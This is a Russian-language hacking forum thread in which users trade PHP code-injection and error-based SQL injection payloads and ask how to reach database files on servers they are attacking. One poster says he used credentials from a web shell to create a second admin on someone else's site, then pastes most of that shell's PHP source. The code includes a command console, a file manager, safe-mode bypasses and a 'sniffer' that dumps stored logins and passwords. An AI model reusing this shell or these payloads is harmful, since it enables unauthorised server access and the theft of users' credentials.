Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    пока кто нибуть не зайдёт на сайт, как кто-то зайдёт домен запишется в log.txt
     
  2. rogatiy

    rogatiy New Member

    Joined:
    3 Mar 2013
    Messages:
    49
    Likes Received:
    0
    Reputations:
    0
    Выход был настолько прост, что я его и не заметил (с)
    Благодарю! Добра тебе, милейший.

    Господа, новая задача:
    Code:
    PHP 5.2.6-1+LENNY16
    allow_url_fopen On
    allow_url_include Off
    file_uploads On
    magic_quotes_gpc On
    magic_quotes_runtime Off
    magic_quotes_sybase	Off
    cURL On
    Дыра всё та же - PHP inj в URL. /search?name={${eval(stripslashes($_GET[cmd]))}}&cmd=phpinfo(); не пашет, name={${eval(stripslahes(file_get_contents($_COOKIE[shell])))}}, где содержание печеньки "shell" = 'линк на шелл', тоже, точнее срабатывают MQ, кавычки экранируются и запрос ломается. Идеи?
     
    #21982 rogatiy, 20 Mar 2013
    Last edited: 20 Mar 2013
  3. Sanic1977

    Sanic1977 Banned

    Joined:
    29 Oct 2008
    Messages:
    98
    Likes Received:
    6
    Reputations:
    0
    Есть вопрос?

    Вопрос такого плана:

    на acunetix можно реализовать sql инъекцию такого вида:
    ?id=1'"or(ExtractValue(1,concat(0x3a,version())))="1
    ответ: syntax error: ':5.5.9-log'

    ставлю в браузер, инъекции не видно.
    Есть подозрения что кавычки не передаются должным образом или срабатывает защита
    Как быть?
     
    #21983 Sanic1977, 20 Mar 2013
    Last edited: 20 Mar 2013
  4. rogatiy

    rogatiy New Member

    Joined:
    3 Mar 2013
    Messages:
    49
    Likes Received:
    0
    Reputations:
    0
    // Не верь мне, я - типичный скрипткидди.
    Есть вероятность, что вся уязвимость построена на этой ошибке? 5.5.9, судя по всему, как раз таки и является версией MySQL. Попробуй database(), тогда уж и будет видно.
    Либо просто включены magicquotes и, как я люблю писать, выход был настолько прост, что я его и не заметил (с)
     
  5. Sanic1977

    Sanic1977 Banned

    Joined:
    29 Oct 2008
    Messages:
    98
    Likes Received:
    6
    Reputations:
    0
    ?id=1'"or(ExtractValue(1,concat(0x3a,database())))="1
    пишет Column 'url' cannot be null

    в браузере ошибок не видно
     
  6. rogatiy

    rogatiy New Member

    Joined:
    3 Mar 2013
    Messages:
    49
    Likes Received:
    0
    Reputations:
    0
    Тогда не представляю, это же Blind SQLi, что геморройно, во всяком случае для креветки-меня. А зачем двойные кавычки в запросе?
    И вот ещё, покури.
     
    #21986 rogatiy, 20 Mar 2013
    Last edited: 20 Mar 2013
  7. Sanic1977

    Sanic1977 Banned

    Joined:
    29 Oct 2008
    Messages:
    98
    Likes Received:
    6
    Reputations:
    0
    только с двойными кавычками выводится инфа
    на acunetix выодится ошибка, а firefox нет
    смотрел через прокси что идет,там

    acunetix -> ?id=1'"or(ExtractValue(1,concat(0x3a,version())))="1

    firefox -> ?id=1%27%22or(ExtractValue(1,concat(0x3a,user())))=%221

    может в этом?
    из-за этого не могу автоматизировать
     
    #21987 Sanic1977, 20 Mar 2013
    Last edited: 20 Mar 2013
  8. rogatiy

    rogatiy New Member

    Joined:
    3 Mar 2013
    Messages:
    49
    Likes Received:
    0
    Reputations:
    0
    Нет, %27, например, это ' в HTML и т.д.
    Не в этом дело
     
  9. Sanic1977

    Sanic1977 Banned

    Joined:
    29 Oct 2008
    Messages:
    98
    Likes Received:
    6
    Reputations:
    0
    там знак ' не играет роли без него можно обойтись просто стоит, инъекция через кавычки "
     
  10. zloy_fantom

    zloy_fantom New Member

    Joined:
    3 Dec 2012
    Messages:
    46
    Likes Received:
    0
    Reputations:
    0
    Спасибо, хоть и жаль, есть еще идея:
    Как я уже говорил, есть раскрытие путей и могу читать файлы.
    Вот часть запроса в одном из скриптов:
    Code:
    sql_query("SELECT id, pass, FROM users
    В одном из скриптов есть строка:
    Code:
    $sql_name 	= "all";
    Файл my.cnf содержит настройки:
    Code:
    basedir		= /usr
    datadir		= /var/lib/mysql
    
    Из чего делаю вывод, что в папке /var/lib/mysql/all лежит файл базы данных с именем users и неизвестным мне расширением, однако просмотр файлов, которым я располагаю, этот файл не показывает. Пробовал без расширения и с расширениями MYI, MYD, frm. Что еще можно попробовать? Может путь неверно указал???
    Спасибо
     
  11. ерёма

    ерёма New Member

    Joined:
    20 Mar 2013
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    недавно мне на сайт залили шелл. я его скачал и нашёл в нём левую бд,тоесть вырезку из конфига пароль пользователь базы и путь к ней. я спокойно зашёл в бд далее создал второго админа после чего заглянул в админку сайта.к слову сказать сайт серьёзный с хорошими пузомерками и в индексе море страниц.в связи с этим у меня два вопроса. что за шелл такой мне залили?почему в нём оказалась бд сайта? и что собственно теперь с эти сайтом делать?
     
  12. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Скорее всего проблема в редиректе.

    В акунетиксе он отключен по умолчанию.
     
    _________________________
  13. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    ничего там не лежит


    чёза бред ты тут сказал? может это вовсе не шелл,
     
  14. zloy_fantom

    zloy_fantom New Member

    Joined:
    3 Dec 2012
    Messages:
    46
    Likes Received:
    0
    Reputations:
    0
    А где лежит? В чем ошибка рассуждений? какой информации не хватает для определения того, в какой папке на сервере расположены таблицы базы данных?
    Спасибо
     
  15. ерёма

    ерёма New Member

    Joined:
    20 Mar 2013
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    вот кусок из шелла в конце база
    PHP:
    function actionConsole() { if(isset($_POST['ajax'])) { $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; ob_start(); echo "document.cf.cmd.value='';\n"; $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0")); if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { if(@chdir($match[1])) { $GLOBALS['cwd'] = @getcwd(); echo "document.mf.c.value='".$GLOBALS['cwd']."';"; } } echo "document.cf.output.value+='".$temp."';"; echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;"; $temp = ob_get_clean(); echo strlen($temp), "\n", $temp; exit; } printHeader(); ?> <script> if(window.Event) window.captureEvents(Event.KEYDOWN); var cmds = new Array(""); var cur = 0; function kp(e) { var n = (window.Event) ? e.which : e.keyCode; if(n == 38) { cur--; if(cur>=0) document.cf.cmd.value = cmds[cur]; else cur++; } else if(n == 40) { cur++; if(cur < cmds.length) document.cf.cmd.value = cmds[cur]; else cur--; } } function add(cmd) { cmds.pop(); cmds.push(cmd); cmds.push(""); cur = cmds.length-1; } </script> <?php echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>'; foreach($GLOBALS['aliases'] as $n => $v) { if($v == '') { echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; continue; } echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; if(!empty($_POST['p1'])) { echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1'])); } echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">'; echo '</form></div><script>document.cf.cmd.focus();</script>'printFooter(); } function actionLogout() { unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); echo 'bye!'; } function actionSelfRemove() { printHeader(); if($_POST['p1'] == 'yes') { if(@unlink(SELF_PATH)) die('Shell has been removed'); else echo 'unlink error!'; } echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'printFooter(); } function actionSniffer() { printHeader(); echo '<h1>Sniffer</h1>'$host='сдесь номер заказа.mysql.ihc.ru'$db='сама база_db'$user='сдесь прописан пользователь_db'$passwd='ну и пароль'$link mysql_connect($host$user$passwd); mysql_select_db($db$link); $result=mysql_query("SELECT * FROM jos_phocadownload_templates"); $n=mysql_num_rows($result); echo "<form><table border=0 width=100% >"; for($i=0;$i<$n;$i++) echo "<tr><td>".'<input name=sn type=checkbox value='.mysql_result($result,$i,id).'>&nbsp;<b style="color: 00ff00;">Login:</b>',mysql_result($result,$i,login),"</td><td>".'<b style="color: 00ff00;">Pass:</b>',mysql_result($result,$i,pass),"</td><td>".'<b style="color: 00ff00;">IP:</b>',mysql_result($result,$i,ip),"</td><td>".'<b style="color: 00ff00;">Date:</b>',mysql_result($result,$i,date),"</td><td>".'<b style="color: 00ff00;">id:</b>',mysql_result($result,$i,id),"</td><td>".'<b style="color: 00ff00;">referer:</b>',mysql_result($result,$i,ref),"</b></td></tr>"; echo "<tr><td><input name=submit type=submit value=delete&gt;&gt;></td></tr>"; echo "</table></form>"mysql_close($link); printFooter(); }
     
    #21995 ерёма, 21 Mar 2013
    Last edited: 21 Mar 2013
  16. ерёма

    ерёма New Member

    Joined:
    20 Mar 2013
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    ?>
    <script>
    function sa() {
    for(i=0;i<document.files.elements.length;i++)
    if(document.files.elements.type == 'checkbox')
    document.files.elements.checked = document.files.elements[0].checked;
    }
    </script>
    <table width='100%' class='main' cellspacing='0' cellpadding='2'>
    <form name=files method=post>
    <?php
    echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = $links = array();
    $n = count($dirContent);
    for($i=0;$i<$n;$i++) {
    $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
    $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
    $tmp = array('name' => $dirContent[$i],
    'path' => $GLOBALS['cwd'].$dirContent[$i],
    'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
    'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
    'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
    'owner' => $ow['name']?$ow['name']:mad:fileowner($dirContent[$i]),
    'group' => $gr['name']?$gr['name']:mad:filegroup($dirContent[$i])
    );
    if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
    $files[] = array_merge($tmp, array('type' => 'file'));
    elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
    $links[] = array_merge($tmp, array('type' => 'link'));
    elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
    $dirs[] = array_merge($tmp, array('type' => 'dir'));
    }
    $GLOBALS['sort'] = $sort;
    function cmp($a, $b) {
    if($GLOBALS['sort'][0] != 'size')
    return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
    else
    return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
    }
    usort($files, "cmp");
    usort($dirs, "cmp");
    usort($links, "cmp");
    $files = array_merge($dirs, $links, $files);
    $l = 0;
    foreach($files as $f) {
    echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
    .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
    $l = $l?0:1;
    }
    ?>
    <tr><td colspan=7>
    <input type=hidden name=a value='FilesMan'>
    <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
    <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
    </form></table></div>
    <?php
    printFooter();
    }

    function actionStringTools() {
    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}

    if(isset($_POST['ajax'])) {
    $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
    ob_start();
    if(function_exists($_POST['p1']))
    echo $_POST['p1']($_POST['p2']);
    $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
    echo strlen($temp), "\n", $temp;
    exit;
    }
    printHeader();
    echo '<h1>String conversions</h1><div class=content>';
    $stringTools = array(
    'Base64 encode' => 'base64_encode',
    'Base64 decode' => 'base64_decode',
    'Url encode' => 'urlencode',
    'Url decode' => 'urldecode',
    'Full urlencode' => 'full_urlencode',
    'md5 hash' => 'md5',
    'sha1 hash' => 'sha1',
    'crypt' => 'crypt',
    'CRC32' => 'crc32',
    'ASCII to HEX' => 'ascii2hex',
    'HEX to ASCII' => 'hex2ascii',
    'HEX to DEC' => 'hexdec',
    'HEX to BIN' => 'hex2bin',
    'DEC to HEX' => 'dechex',
    'DEC to BIN' => 'decbin',
    'BIN to HEX' => 'bin2hex',
    'BIN to DEC' => 'bindec',
    'String to lower case' => 'strtolower',
    'String to upper case' => 'strtoupper',
    'Htmlspecialchars' => 'htmlspecialchars',
    'String length' => 'strlen',
    );
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
    $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
    foreach($stringTools as $k => $v)
    echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
    echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
    if(!empty($_POST['p1'])) {
    if(function_exists($_POST['p1']))
    echo htmlspecialchars($_POST['p1']($_POST['p2']));
    }
    echo"</pre></div>";
    ?>
    <br><h1>Search for hash:</h1><div class=content>
    <form method='post' target='_blank' name="hf">
    <input type="text" name="hash" style="width:200px;"><br>
    <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
    <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
    <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
    <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
    <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
    </form>
    </div>
    <?php
    printFooter();
    }

    function actionFilesTools() {
    if( isset($_POST['p1']) )
    $_POST['p1'] = urldecode($_POST['p1']);
    if(@$_POST['p2']=='download') {
    if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
    ob_start("ob_gzhandler", 4096);
    header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
    if (function_exists("mime_content_type")) {
    $type = @mime_content_type($_POST['p1']);
    header("Content-Type: ".$type);
    }
    $fp = @fopen($_POST['p1'], "r");
    if($fp) {
    while(!@feof($fp))
    echo @fread($fp, 1024);
    fclose($fp);
    }
    } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {

    }
    exit;
    }
    if( @$_POST['p2'] == 'mkfile' ) {
    if(!file_exists($_POST['p1'])) {
    $fp = @fopen($_POST['p1'], 'w');
    if($fp) {
    $_POST['p2'] = "edit";
    fclose($fp);
    }
    }
    }
    printHeader();
    echo '<h1>File tools</h1><div class=content>';
    if( !file_exists(@$_POST['p1']) ) {
    echo 'File not exists';
    printFooter();
    return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
    $gid = @posix_getgrgid(@fileowner($_POST['p1']));
    echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
    echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
    if( empty($_POST['p2']) )
    $_POST['p2'] = 'view';
    if( is_file($_POST['p1']) )
    $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
    else
    $m = array('Chmod', 'Rename', 'Touch');
    foreach($m as $v)
    echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
    echo '<br><br>';
    switch($_POST['p2']) {
    case 'view':
    echo '<pre class=ml1>';
    $fp = @fopen($_POST['p1'], 'r');
    if($fp) {
    while( !@feof($fp) )
    echo htmlspecialchars(@fread($fp, 1024));
    @fclose($fp);
    }
    echo '</pre>';
    break;
    case 'highlight':
    if( is_readable($_POST['p1']) ) {
    echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
    $code = highlight_file($_POST['p1'],true);
    echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
    }
    break;
    case 'chmod':
    if( !empty($_POST['p3']) ) {
    $perms = 0;
    for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
    if(!@chmod($_POST['p1'], $perms))
    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
    else
    die('<script>g(null,null,null,null,"")</script>');
    }
    echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
    break;
    case 'edit':
    if( !is_writable($_POST['p1'])) {
    echo 'File isn\'t writeable';
    break;
    }
    if( !empty($_POST['p3']) ) {
    @file_put_contents($_POST['p1'],$_POST['p3']);
    echo 'Saved!<br><script>document.mf.p3.value="";</script>';
    }
    echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
    $fp = @fopen($_POST['p1'], 'r');
    if($fp) {
    while( !@feof($fp) )
    echo htmlspecialchars(@fread($fp, 1024));
    @fclose($fp);
    }
    echo '</textarea><input type=submit value=">>"></form>';
    break;
    case 'hexdump':
    $c = @file_get_contents($_POST['p1']);
    $n = 0;
    $h = array('00000000<br>','','');
    $len = strlen($c);
    for ($i=0; $i<$len; ++$i) {
    $h[1] .= sprintf('%02X',ord($c[$i])).' ';
    switch ( ord($c[$i]) ) {
    case 0: $h[2] .= ' '; break;
    case 9: $h[2] .= ' '; break;
    case 10: $h[2] .= ' '; break;
    case 13: $h[2] .= ' '; break;
    default: $h[2] .= $c[$i]; break;
    }
    $n++;
    if ($n == 32) {
    $n = 0;
    if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
    $h[1] .= '<br>';
    $h[2] .= "\n";
    }
    }
    echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
    break;
    case 'rename':
    if( !empty($_POST['p3']) ) {
    if(!@rename($_POST['p1'], $_POST['p3']))
    echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
    else
    die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
    }
    echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
    break;
    case 'touch':
    if( !empty($_POST['p3']) ) {
    $time = strtotime($_POST['p3']);
    if($time) {
    if(@touch($_POST['p1'],$time,$time))
    die('<script>g(null,null,null,null,"")</script>');
    else {
    echo 'Fail!<script>document.mf.p3.value="";</script>';
    }
    } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
    }
    echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
    break;
    case 'mkfile':

    break;
    }
    echo '</div>';
    printFooter();
    }

    function actionSafeMode() {
    $temp='';
    ob_start();
    switch($_POST['p1']) {
    case 1:
    $temp=@tempnam($test, 'cx');
    if(@copy("compress.zlib://".$_POST['p2'], $temp)){
    echo @file_get_contents($temp);
    unlink($temp);
    } else
    echo 'Sorry... Can\'t open file';
    break;
    case 2:
    $files = glob($_POST['p2'].'*');
    if( is_array($files) )
    foreach ($files as $filename)
    echo $filename."\n";
    break;
    case 3:
    $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
    curl_exec($ch);
    break;
    case 4:
    ini_restore("safe_mode");
    ini_restore("open_basedir");
    include($_POST['p2']);
    break;
    case 5:
    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
    $uid = @posix_getpwuid($_POST['p2']);
    if ($uid)
    echo join(':',$uid)."\n";
    }
    break;
    case 6:
    if(!function_exists('imap_open'))break;
    $stream = imap_open($_POST['p2'], "", "");
    if ($stream == FALSE)
    break;
    echo imap_body($stream, 1);
    imap_close($stream);
    break;
    }
    $temp = ob_get_clean();
    printHeader();
    echo '<h1>Safe mode bypass</h1><div class=content>';
    echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
    if($temp)
    echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
    echo '</div>';
    printFooter();
    }

    function actionConsole() {
    if(isset($_POST['ajax'])) {
    $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
    ob_start();
    echo "document.cf.cmd.value='';\n";
    $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
    if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
    if(@chdir($match[1])) {
    $GLOBALS['cwd'] = @getcwd();
    echo "document.mf.c.value='".$GLOBALS['cwd']."';";
    }
    }
    echo "document.cf.output.value+='".$temp."';";
    echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
    $temp = ob_get_clean();
    echo strlen($temp), "\n", $temp;
    exit;
    }
    printHeader();
    ?>
    <script>
    if(window.Event) window.captureEvents(Event.KEYDOWN);
    var cmds = new Array("");
    var cur = 0;
    function kp(e) {
    var n = (window.Event) ? e.which : e.keyCode;
    if(n == 38) {
    cur--;
    if(cur>=0)
    document.cf.cmd.value = cmds[cur];
    else
    cur++;
    } else if(n == 40) {
    cur++;
    if(cur < cmds.length)
    document.cf.cmd.value = cmds[cur];
    else
    cur--;
    }
    }
    function add(cmd) {
    cmds.pop();
    cmds.push(cmd);
    cmds.push("");
    cur = cmds.length-1;
    }
    </script>
    <?php
    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
    foreach($GLOBALS['aliases'] as $n => $v) {
    if($v == '') {
    echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
    continue;
    }
    echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
    $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
    echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
    if(!empty($_POST['p1'])) {
    echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
    }
    echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
    echo '</form></div><script>document.cf.cmd.focus();</script>';
    printFooter();
    }

    function actionLogout() {
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
    echo 'bye!';
    }

    function actionSelfRemove() {
    printHeader();
    if($_POST['p1'] == 'yes') {
    if(@unlink(SELF_PATH))
    die('Shell has been removed');
    else
    echo 'unlink error!';
    }
    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    printFooter();
    }

    function actionSniffer() {
    printHeader();
    echo '<h1>Sniffer</h1>';
    $host='сдесь номер заказа.mysql.ihc.ru';
    $db='сама база_db';
    $user='сдесь прописан пользователь_db';
    $passwd='ну и пароль';
    $link = mysql_connect($host, $user, $passwd);
    mysql_select_db($db, $link);
    $result=mysql_query("SELECT * FROM jos_phocadownload_templates");
    $n=mysql_num_rows($result);
    echo "<form><table border=0 width=100% >";
